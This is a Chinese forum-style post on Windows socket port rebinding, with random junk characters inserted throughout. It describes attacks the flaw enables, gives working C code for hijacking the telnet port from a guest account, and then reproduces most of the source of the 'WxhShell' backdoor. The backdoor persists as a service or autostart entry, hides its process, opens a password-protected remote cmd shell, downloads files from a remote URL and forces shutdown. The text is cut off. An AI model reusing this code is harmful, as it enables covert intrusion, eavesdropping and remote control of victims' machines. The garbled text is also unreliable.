在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
mBl7{w;Iv s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
r'aY2n^O u}jrfKdE saddr.sin_family = AF_INET;
n.$(}A g'lT saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8OAg~mQ15( H~9=&p[Q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Z!\@%`0$ xfHyC'? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!Tfij(91 oh\,OW 这意味着什么?意味着可以进行如下的攻击:
-CBD|fo[h T%I&txl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
RsSXhPk? W"sr$K2m| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
I6dm@{/:> d79N-O- 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
s44iEh=V(I n6f3H\/P& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#ooc)), f'{>AKi=C 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
'h*Zc}Q: 'U)8rR 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:m`/Q_y" %g^"] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
sbla`6Fb Yo2Trh #include
tV`&-H #include
Pz473d #include
{'~sS #include
'j79GC0 DWORD WINAPI ClientThread(LPVOID lpParam);
%W;u}` int main()
c^S&F9/U* {
Es;;t83p WORD wVersionRequested;
\3^Pjx DWORD ret;
I'IB_YRL4 WSADATA wsaData;
4
X`^{~ BOOL val;
<-)9>c:k SOCKADDR_IN saddr;
:kp0EiJ SOCKADDR_IN scaddr;
T-P@u-DU int err;
T
T"3^@ SOCKET s;
0xBY(#;Q SOCKET sc;
2LhE]O(_" int caddsize;
QkX@QQT? HANDLE mt;
Kym:J \}9B DWORD tid;
u2lmwE wVersionRequested = MAKEWORD( 2, 2 );
hEOJb
@:R err = WSAStartup( wVersionRequested, &wsaData );
w-:
D if ( err != 0 ) {
v*DFiCQD printf("error!WSAStartup failed!\n");
%FS;>;i? return -1;
l<RfRqjw }
f[@#7,2~M saddr.sin_family = AF_INET;
g{a d0.y, OK\]*r //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
LXxl ?D 6D^%'[4t saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
c~oe,9 saddr.sin_port = htons(23);
Qa?QbHc if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h544dNo& {
zjWyGt(Q printf("error!socket failed!\n");
w:R]!e_6\9 return -1;
ro]L}oE+ }
j?J=w=.Nx val = TRUE;
L&HzN{K //SO_REUSEADDR选项就是可以实现端口重绑定的
riEqW}{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Kz^ hQd {
Ib(,P3 printf("error!setsockopt failed!\n");
"0Y&~q[= return -1;
%#Q
#N,fw }
9oD#t~+F4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
qq>44 k\|) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V,'FlU //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Sh47c4{ Oi#k:vq4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%J3lK]bv( {
?(M\:`G' ret=GetLastError();
[M2Dy{dh printf("error!bind failed!\n");
Ua!Odju*w return -1;
F13%)G( }
U#l.E1Z listen(s,2);
N>T=L0` while(1)
6!o/~I# {
h@/>?Va caddsize = sizeof(scaddr);
LQ|<3] //接受连接请求
Ae3#>[]{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
9&[\*{ if(sc!=INVALID_SOCKET)
'.xkn{c {
{kv4g\a; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
3g+\?L-c if(mt==NULL)
s-o~@(r6 {
2f
/bEpi printf("Thread Creat Failed!\n");
|O^V)bZmx break;
pe|\'<>i }
akY6D]M }
-hm9sNox CloseHandle(mt);
6UtG-WHHt }
l9,w>]s closesocket(s);
C(ZcR_+r$, WSACleanup();
F.&*D~f return 0;
; vhnA$'a }
ob)D{4B' DWORD WINAPI ClientThread(LPVOID lpParam)
7{8)ykBU^ {
Xek E#?. SOCKET ss = (SOCKET)lpParam;
m./*LXU SOCKET sc;
%k~C-+ unsigned char buf[4096];
lK 9s0t' SOCKADDR_IN saddr;
csm?oU niz long num;
>EyvdX#v DWORD val;
| eK,Td% DWORD ret;
I[vME" //如果是隐藏端口应用的话,可以在此处加一些判断
96k(XLR //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
iNMLYYq]l saddr.sin_family = AF_INET;
j=p|'` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
9 ?[4i' saddr.sin_port = htons(23);
rUhWZta if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)Ep@$Gv|S {
-1dIZy printf("error!socket failed!\n");
yzODF>KJ return -1;
sVNo\ }
</~1p~=hAt val = 100;
P[r}(@0rJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A89Y;_4y {
4{uJ||! ret = GetLastError();
1"N/ZKF-x return -1;
%YsRm%q }
B&to&|jf if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:a#| {
#zh6=.,7 ret = GetLastError();
|2tSUOZ return -1;
S;G"L$&\ }
75' Ua$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
*(>F'>F1" {
8yNRxiW: printf("error!socket connect failed!\n");
Z{j!s6Y@{ closesocket(sc);
IhtmD@H} closesocket(ss);
}C9VTJs| return -1;
&n,xGIG }
0fEZD$ while(1)
xow6@M, {
\r)_- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$,!dan<eA //如果是嗅探内容的话,可以再此处进行内容分析和记录
EVby 9! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
XL%vO#YT num = recv(ss,buf,4096,0);
?^F*"+qI if(num>0)
=Td#2V;0 send(sc,buf,num,0);
#h}IUR else if(num==0)
OpbszSl"y break;
h/fb<jIP1 num = recv(sc,buf,4096,0);
$u(M 4(} if(num>0)
hPNQGVv send(ss,buf,num,0);
+^o3}` else if(num==0)
]a&x' break;
G*kXWEx
}
je$R\7B< closesocket(ss);
C{U[w^X closesocket(sc);
O#<|[Dzw return 0 ;
_oYA;O }
+Px<DX+ LL6ON
} hvwnG>m\ ==========================================================
@8}-0c yAZ.L/jyr 下边附上一个代码,,WXhSHELL
?}!gLp W_Ws3L1;N ==========================================================
t\E-6u Iltg0`
#include "stdafx.h"
@9
qzn&A t(LlWd #include <stdio.h>
6=aBD_2@ #include <string.h>
.F=<r-0 #include <windows.h>
MC[`<W)u #include <winsock2.h>
H-PW( #include <winsvc.h>
3/#R9J# #include <urlmon.h>
<%5-Pz p _AsHw #pragma comment (lib, "Ws2_32.lib")
D:S6Mu #pragma comment (lib, "urlmon.lib")
j.G.Mx" Gff[c%I #define MAX_USER 100 // 最大客户端连接数
hA&j?{ #define BUF_SOCK 200 // sock buffer
Oa3=+_C~$1 #define KEY_BUFF 255 // 输入 buffer
I*`=[nR )U3 H15 #define REBOOT 0 // 重启
5r2ctde)Y #define SHUTDOWN 1 // 关机
3e!a>Gl* 6kmZ!9w0| #define DEF_PORT 5000 // 监听端口
jQw`*Y/, $TH'"XK #define REG_LEN 16 // 注册表键长度
,AFC 1t[0 #define SVC_LEN 80 // NT服务名长度
J_((o qJAv=D // 从dll定义API
9cx!N,R t typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
GwU>o:g" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
vb80J<4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
HnYFE@Nl:U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\M1M2(@pDJ #E~WVTOw // wxhshell配置信息
v;NZ"1=_ struct WSCFG {
6#lC(ko' int ws_port; // 监听端口
_g/TH-;^ char ws_passstr[REG_LEN]; // 口令
cVv4gQD\ int ws_autoins; // 安装标记, 1=yes 0=no
(tz_D7c$F char ws_regname[REG_LEN]; // 注册表键名
}tS6Z:fOY char ws_svcname[REG_LEN]; // 服务名
WPh |~]by< char ws_svcdisp[SVC_LEN]; // 服务显示名
m}'t'l4 c char ws_svcdesc[SVC_LEN]; // 服务描述信息
UHsrZgIRYT char ws_passmsg[SVC_LEN]; // 密码输入提示信息
kxKnmB#m- int ws_downexe; // 下载执行标记, 1=yes 0=no
v1tN
DyM6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
DRFuvU+e char ws_filenam[SVC_LEN]; // 下载后保存的文件名
JCU3\39} 4q2=:"z4 };
M}KM]< <^X'f // default Wxhshell configuration
8bKWIN g_n struct WSCFG wscfg={DEF_PORT,
BafzQ' "xuhuanlingzhe",
<PuB3PEvV 1,
=-s20mdj "Wxhshell",
"a%ASy>?g "Wxhshell",
M
b /X@51 "WxhShell Service",
GF/x;,Ae "Wrsky Windows CmdShell Service",
I}]@e^ ~ "Please Input Your Password: ",
gPhw.e"" 1,
+e3WwUx "
http://www.wrsky.com/wxhshell.exe",
o-e,
"Wxhshell.exe"
*Yk8Mj^_h };
g cK" N@du.d: // 消息定义模块
SpTORR8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
XCi]()TZ_ char *msg_ws_prompt="\n\r? for help\n\r#>";
j*Wh;I+h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'2qxcc o char *msg_ws_ext="\n\rExit.";
-GkK[KCH char *msg_ws_end="\n\rQuit.";
#SLxN AH char *msg_ws_boot="\n\rReboot...";
Pk?%PB?Z char *msg_ws_poff="\n\rShutdown...";
FsPDWy&x char *msg_ws_down="\n\rSave to ";
4+ ?ZTc( hhgz=7Y char *msg_ws_err="\n\rErr!";
1&dsQ,VDl char *msg_ws_ok="\n\rOK!";
Hk~
gcG !O -_Dp\# char ExeFile[MAX_PATH];
UEYM;$_@4o int nUser = 0;
EwBN+v;) HANDLE handles[MAX_USER];
=rO>b{,hs int OsIsNt;
o:Os_NaD {@F["YPxy SERVICE_STATUS serviceStatus;
5`{;hFl SERVICE_STATUS_HANDLE hServiceStatusHandle;
rj f=qh5s 2;(iTPz + // 函数声明
/5'<w( int Install(void);
vaCdfO& int Uninstall(void);
x_iy;\s1 int DownloadFile(char *sURL, SOCKET wsh);
cZX&itVc: int Boot(int flag);
bZlLivi void HideProc(void);
1S.e5{ int GetOsVer(void);
2Q'XB int Wxhshell(SOCKET wsl);
08n%%
F void TalkWithClient(void *cs);
a):Run int CmdShell(SOCKET sock);
jvQ+u L int StartFromService(void);
pZJQKTCG int StartWxhshell(LPSTR lpCmdLine);
R{Kd%Y:2Y 3L%r_N*a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Xgth|C}k VOID WINAPI NTServiceHandler( DWORD fdwControl );
F@(}=w^(A w wRT$-! // 数据结构和表定义
![D,8]GD SERVICE_TABLE_ENTRY DispatchTable[] =
LsD9hb7 {
]!J3?G {wscfg.ws_svcname, NTServiceMain},
{$TB#=G {NULL, NULL}
WyJfF=< };
Nb9V/2c;V OVo // 自我安装
Jz3<yQ- int Install(void)
x^#{2}4u {
PdN\0B` char svExeFile[MAX_PATH];
.dLX'84fY HKEY key;
e2o9)=y strcpy(svExeFile,ExeFile);
=28H^rK{ 1eyyu! // 如果是win9x系统,修改注册表设为自启动
BG? 2PO{ if(!OsIsNt) {
HNUR6H&Fta if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w7?9e#>Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:a!a RegCloseKey(key);
@DC2ci
> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
it|:P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
e^Wv*OD' RegCloseKey(key);
.O-DVW Cm return 0;
xjk|O;ak }
S^`9[$KH0 }
Ty|c@X }
U)=Z&($T else {
h)RM9813< |
xI_aYv* // 如果是NT以上系统,安装为系统服务
}fMFQA) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
dv}R]f' if (schSCManager!=0)
N$a-i {
LuQ
M$/i SC_HANDLE schService = CreateService
<21^{ yt1 (
`*9FKs schSCManager,
\R6T"U wscfg.ws_svcname,
R M+K":p wscfg.ws_svcdisp,
0Lz56e'j SERVICE_ALL_ACCESS,
AS"|r SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
tYNt>9L| SERVICE_AUTO_START,
Wq&c,H SERVICE_ERROR_NORMAL,
!4.^@^L|\ svExeFile,
"8dnFrE NULL,
[a*>@IR NULL,
]BD5+>; NULL,
%!h+ NULL,
aYCzb7 NULL
(gC^5&11 );
V+ ~2q= if (schService!=0)
MCpK^7]k {
$=SYssg7La CloseServiceHandle(schService);
^M5uLm-_s CloseServiceHandle(schSCManager);
"8TMAF|i4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
rL/7wa strcat(svExeFile,wscfg.ws_svcname);
He;%6OG{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]H'82a RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ddhTri'f RegCloseKey(key);
3evfX[V# return 0;
?G<IN) }
v")
W@haU }
0=zS&xM CloseServiceHandle(schSCManager);
gCI'YEx }
$K6`Q4` }
P>Rqy |i}g7 return 1;
B&j+fi }
buyz>ICP D5vtZu!" // 自我卸载
CnA)>4E*' int Uninstall(void)
emIbGkH {
Pg C]@Q% HKEY key;
n:)Y'52} {X"]92+ if(!OsIsNt) {
x)mC^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9Bw5 t@ RegDeleteValue(key,wscfg.ws_regname);
w~?eX/; RegCloseKey(key);
r_RTtS# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h!%`odl%
RegDeleteValue(key,wscfg.ws_regname);
T )]|o+G RegCloseKey(key);
v!C+W$,T return 0;
yvwcXNXR@ }
o[6"XJ }
XYTcG;_z }
^P`'qfZ else {
=B%e0M FEswNB(]* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
- $/{V&?t if (schSCManager!=0)
!Shh$iz {
r26Wysi~% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>maz t=, if (schService!=0)
xF+x I6 {
aV,J_Q6r if(DeleteService(schService)!=0) {
.;6bMP[YA CloseServiceHandle(schService);
K%Ml2V
CloseServiceHandle(schSCManager);
g<3>7&^ return 0;
9DKB+K.1 }
YHAg4eb8 CloseServiceHandle(schService);
$>m<+nai' }
D8XXm lo CloseServiceHandle(schSCManager);
a,9GSKXo1 }
sxa
( }
VH65=9z KphEw[4/ return 1;
}epN<DL }
_%!hkc( /omVMu // 从指定url下载文件
LK~0ck7 int DownloadFile(char *sURL, SOCKET wsh)
`q*ABsj {
Z] }@#/
n HRESULT hr;
0q!{&pt char seps[]= "/";
IW*.B6Hw8 char *token;
j
pV char *file;
syvi/6 char myURL[MAX_PATH];
1!#ZEI C char myFILE[MAX_PATH];
\zyGJyy. xbA2R4| strcpy(myURL,sURL);
3|3lUU\I token=strtok(myURL,seps);
}"tYb6* while(token!=NULL)
Vd~k4 {
+N:%`9}2V file=token;
h 42?^mV4? token=strtok(NULL,seps);
;Yj&7k1 }
OD|&qsbL yRDLg
c GetCurrentDirectory(MAX_PATH,myFILE);
GjBQxn strcat(myFILE, "\\");
R?I3xb strcat(myFILE, file);
VTa8.(i6v send(wsh,myFILE,strlen(myFILE),0);
S0yT%V send(wsh,"...",3,0);
uM#/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
mQJ GKh&Pk if(hr==S_OK)
dGjvSK<1@ return 0;
K2Zy6lGOZ else
d?.x./1[qi return 1;
R\?!r4 _Qas+8NW }
Jsl,r+'H { q<l]jn9 // 系统电源模块
v>R.ou( int Boot(int flag)
=c'LG {
A:Z:&(NtE: HANDLE hToken;
K.~U%v} TOKEN_PRIVILEGES tkp;
#$E
vybETx ,5:86'p if(OsIsNt) {
+0DIN4Y(4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
~JiA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Fy^\U w tkp.PrivilegeCount = 1;
uv!/DX# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
0:EiCKb)ol AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
K9=_}lS@' if(flag==REBOOT) {
M#m7g4*L ! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%e(,PL return 0;
7 &Aakl }
gK'MUZ() else {
rO GJ%|%( if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
3}Pa,uN return 0;
Xs/hqIXB }
OoNAW< }
Lif mYn[ else {
\8!HZei if(flag==REBOOT) {
xAflcY>Ozs if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'`u1,h return 0;
kcb'`<B }
\N)FUYoHg else {
=k
z;CS+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[#tW$^UD return 0;
/e\dsC{uJ }
y:L|]p}huE }
zoU.\]#C 57r)&8 return 1;
.IgQn|N }
jQhf)B 03PVbDq- // win9x进程隐藏模块
=Ao;[j)*! void HideProc(void)
I~I%z'"RQd {
qCMcN<:> dGg+[? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
s0u$DM2 if ( hKernel != NULL )
gqhW.e}] {
+Muyp]_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;&!l2 UB% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~oI49Q&{ FreeLibrary(hKernel);
/zWWUl`: }
+-"#GL~cC HFazqQ[ return;
tkmW\ }
)Jc>l;G(M C+Z"0\{o // 获取操作系统版本
LuVj9+1 S int GetOsVer(void)
a5iMCmL+ {
SV~xNzo~ OSVERSIONINFO winfo;
y-U(`{[nM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#3S/TBy, GetVersionEx(&winfo);
yRtFUlm` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Z7v~;JzC# return 1;
}y1M0^M-$ else
'coqm8V[% return 0;
yQ}~ aA#h }
&P;x<7h$t? =YBJ7.Y // 客户端句柄模块
I6\3wU~). int Wxhshell(SOCKET wsl)
B.|vmq,u {
d3\8BKp SOCKET wsh;
I.>LG struct sockaddr_in client;
1L0ku@%t9Y DWORD myID;
z(xvt> G~PP1sf
while(nUser<MAX_USER)
Qmrcng}P {
#SdaTMLFf int nSize=sizeof(client);
86Rit!ih wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Vl EkT9^: if(wsh==INVALID_SOCKET) return 1;
&+
IXDU JjwuxZVr O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Pzqgg43Xf if(handles[nUser]==0)
H`P ) closesocket(wsh);
5IepVS(>?v else
g^idS:GtX5 nUser++;
;9~z_orNQZ }
}yw\+fc WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{*2A%}S U{x'@/Ld return 0;
kB
2bT} }
^~0r+w61 .cb mCFXL // 关闭 socket
Zj JD@,j void CloseIt(SOCKET wsh)
%F7aFvl* {
^ey\ c1K closesocket(wsh);
WM#!X!Vo nUser--;
AIeYy-f ExitThread(0);
@.0,ka,X }
bhI8b/ S$#Awen"@ // 客户端请求句柄
n5b
N/ void TalkWithClient(void *cs)
H\S,^)drJ? {
&`9lIVB,K fVkl-<?x SOCKET wsh=(SOCKET)cs;
BK +JHT char pwd[SVC_LEN];
h3:,Gbyap char cmd[KEY_BUFF];
4
qnQF]4 char chr[1];
]u:NE'0Xy int i,j;
VKlD"UTk mB\5bSFY` while (nUser < MAX_USER) {
u,C-U!A b&ADj8cKC if(wscfg.ws_passstr) {
vH=I#Ajar if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1{wy%|H\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5xiYCOy //ZeroMemory(pwd,KEY_BUFF);
y`N1I i=0;
q<1@ut while(i<SVC_LEN) {
>8VJ!Kg4 Ua:EI!` // 设置超时
t!~mbx+ fd_set FdRead;
P)H%dJ^l struct timeval TimeOut;
TQ BL!w FD_ZERO(&FdRead);
Pa.!:N- FD_SET(wsh,&FdRead);
^'h~#7s TimeOut.tv_sec=8;
>3ODqRu TimeOut.tv_usec=0;
>hXUq9;: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2@H~nw 0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$OJ*Kul o%dtf5}(, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
>ko;CQR pwd
=chr[0]; ."lY>(HJ
if(chr[0]==0xd || chr[0]==0xa) { eI[z%j[Y*
pwd=0; NZ_45/(dx
break; 4M:oa#gh@
} a}fW3+>
i++; <sTaXaq?
} T4UY%E!0
Y}Ov`ZM!r
// 如果是非法用户,关闭 socket &8 (2U-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G0^PnE0-
} f ZISwr
bi5'- .B
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &@RU}DnvM&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # WxH
mdk:2ndP
while(1) { K)k!`du!6
YziQU_
ZeroMemory(cmd,KEY_BUFF); cx$Oh`-Car
vb%\q sf
// 自动支持客户端 telnet标准 .v;Npm2
j=0; .-r
1.'.A
while(j<KEY_BUFF) { }vL[N~5\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =?}'\
>G "
cmd[j]=chr[0]; _WkK%RYV
if(chr[0]==0xa || chr[0]==0xd) { 4Qw!YI#40$
cmd[j]=0; Jn&(v"_
break; |k^X!C 0
} 3B_S>0H"$
j++; Ug9o/I@}C
} {C3bCVQ]o
g` Wr3
// 下载文件 rg
$71Ir
if(strstr(cmd,"http://")) { {c$W-t):U|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z?b.
PC/
if(DownloadFile(cmd,wsh)) \UiuJ+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H: U_k68
else "XH]B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }3+(A`9h f
} ]M2> %Dvw
else { s^AYPmR6
,7'l$-r l
switch(cmd[0]) { xNx!2MrR;
*BF1Sso
// 帮助 RpreW7B_Q*
case '?': { ]\GGC]:\@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]s u\[?l
break; =\q3;5[
} rsIjpPa
// 安装 ^RY_j>i
case 'i': { UgUW4x'+
if(Install()) jW6@U%[!b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wOOPuCw?
else kt@+UK."
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t%/5$<!b
break; :]]amziP&
} $k!t&G
// 卸载 Zw }7vD0
case 'r': { ld3,)ZY
if(Uninstall()) *zmbo >{(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2;q6~Y,
else D6 M:pIN*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f[X>?{q
break; EswM#D9(4
} ^x4gUT-Wy
// 显示 wxhshell 所在路径 SmRU!C$A
case 'p': { ;A|6&~E0G
char svExeFile[MAX_PATH]; +xWT)h/
strcpy(svExeFile,"\n\r");
Gjzhgz--
strcat(svExeFile,ExeFile); j\W+wnAgk
send(wsh,svExeFile,strlen(svExeFile),0); L-MpdC
break; |#S!qnXB
} f+)F-3
// 重启 "=qdBG9
case 'b': { Q@M,:0+cy
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `a<G7
if(Boot(REBOOT)) 9m#`56G`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yJr' \(
else { SX;FBO(p
closesocket(wsh); wK,tq
ExitThread(0); h5Z%|J>;0
} (g
break; te:@F]A
} y<5s)OehG
// 关机 uD+;5S]us
case 'd': { V57^0^Zp`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MRiETd"
if(Boot(SHUTDOWN)) ysSEgC3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q:%gJ6pa
else { <8H`y(S
closesocket(wsh); [ jafPi(#g
ExitThread(0); c|I{U[(U
} xOS4J+' s@
break; LEk
W^Mv
} ^*Ca+22xO
// 获取shell af> i
case 's': { D
F0~A
CmdShell(wsh); 2#sE\D
closesocket(wsh); p[W8XX
ExitThread(0); 1N2:4|woe
break; N<?RN;M
} 51L:%Af
// 退出 br0gB3r
case 'x': { {lqnn n3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g6nBu
CloseIt(wsh); mvYr"6f8
break; }J:~}?^%n
} .lqo>Ta
y
// 离开 rJR"[TTJ
case 'q': { n#m )]YQC
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2p@S-Lp
closesocket(wsh); >YLwWU<X
WSACleanup(); :^px1
exit(1); 4Jht{#IIG
break; B:Msn)C~
} ]x~H"<V
} QHA<7Wg
} rU(N@i%
lQ@2s[
// 提示信息 c~p4M64
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R$v{ p[
} GXa-g-d
} [<bfwTFsl
/SZsXaC '
return; F%L^k.y$
} bPiJCX0d
V5M_N;h
// shell模块句柄 y_\vXY'
int CmdShell(SOCKET sock) ?e yo2:-$
{ b[H& vp
STARTUPINFO si; +|\dVe.
ZeroMemory(&si,sizeof(si)); 1)M3*h3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L{osh0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sexnO^s
PROCESS_INFORMATION ProcessInfo; Av7bp[OD
char cmdline[]="cmd"; 1P&c:n
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R$NH [Tz
return 0; WCU[]A
} Wrt3p-N"D
HlLF<k~}
// 自身启动模式 NNS n]LP
int StartFromService(void) o9>r
-
{ ~[l2"@
typedef struct G^oBu^bq~
{ Xv6z>z.
DWORD ExitStatus; = R; 0Ed&b
DWORD PebBaseAddress; 8!E$0^)c|
DWORD AffinityMask; X+Xjf(
DWORD BasePriority; pX|\J>u)
